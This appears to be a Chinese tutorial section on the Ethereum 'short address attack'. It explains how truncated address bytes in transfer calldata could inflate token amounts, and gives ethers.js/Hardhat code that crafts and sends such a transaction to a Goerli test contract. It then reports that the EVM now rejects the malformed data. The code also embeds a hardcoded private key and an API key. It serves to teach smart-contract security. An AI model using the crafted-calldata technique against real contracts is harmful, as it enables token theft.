第24节:安全事故14-短地址攻击
如果传入的 to 是末端缺省的短地址,EVM 会将后面字节补足地址,而最后的 value 值不足则用 0 填充,导致实际转出的代币数值倍增,在执行transfer函数时,原型如下:
function transfer(address _to, uint256 _value) returns (bool success)`
在正常情况下,会给EVM传入136位的字节码(不包含0x),示例如下:
a9059cbb000000000000000000000000490e588126207a8132c8e002c8554e19cb380b7a000000000000000000000000000000000000000000000000000000003430bca1
但是,如果我们选择的_to地址后面正好有几个0(假设:3个0),而我们刻意将这3个0去掉,那么EVM会自动使用后面的 _value
值的高位0对这缺失的3个0进行补位,同时EVM也会在_value
后面进行再次3个补零,从而保证136位字节码完整,而这种机制导致的结果就是:原本value是1的时候,从后面补三个零,将value变成了1000,这相当于转账的值放大了1000倍(10^3)。
代码验证
import { ethers } from "hardhat";
async function main() {
// 0xEAd54777D54C2C1bE1458E749fDfB5d654458309
const senderPrivateKey = "0xa7b0f6c4cddc5c818655f5c0eb9e42f803dcc400ec284521e9092e8b243473c3"
const provider_default = new ethers.providers.JsonRpcProvider("https://goerli.infura.io/v3/9aa3d95b3bc440fa88ea12eaa4456161");
let sender = new ethers.Wallet(senderPrivateKey, provider_default)
// 获取地址,与hardhat原生的不一样
let senderAddr = await sender.getAddress()
// 提前转入足量的eth和token
let balance = await sender.getBalance()
console.log('balance Of Ether: ' + balance, ', sender:', senderAddr)
const contractAddr = "0x11Fe617f76aC652F995E7BA0fE4001F741e6d003"
// 这里要加上signer
let contractInstance = await ethers.getContractAt("Test", contractAddr, sender)
console.log('contractInstance:', contractInstance.address);
console.log("balance of sender:", await contractInstance.BalanceOf(senderAddr))
//1. 构造攻击bytecode
let transferToCode = contractInstance.interface.encodeFunctionData("transferTo", ["0xdfca6234eb09125632f8f3c71bf8733073b7cd00", 123])
// 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b
// 0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b, 剪掉两个0
console.log('transferToCode:', transferToCode);
// 2. 发起攻击
const tx = {
// data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd000000000000000000000000000000000000000000000000000000000000007b', //invalid data
data: '0x2ccb1b30000000000000000000000000dfca6234eb09125632f8f3c71bf8733073b7cd00000000000000000000000000000000000000000000000000000000000000007b', // valid data
nonce: 1, //你发送交易的帐号的最后一笔交易的 nonce + 1
gasLimit: '0x2dc6c0',
gasPrice: '0x2540be400',
value: '0x0',
to: contractAddr
}
let signedTx = await sender.signTransaction(tx)
console.log('signedTx:', signedTx);
let res = await sender.sendTransaction(tx)
console.log("tx hash:", res.hash);
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
总结:EVM已经修复了
- 使用无效的data时,交易失败: https://goerli.etherscan.io/tx/0xd1efe66ce840bd9e6ecc4aabf54bcde2e20fd32c412377f8ff022f3407a0e2a6
- 使用有效的data时,交易成功: https://goerli.etherscan.io/tx/0x306b4f7713a3ea31b926242f5b6e5b8b1194e5f0316cf94b4b64ec80326eec8b*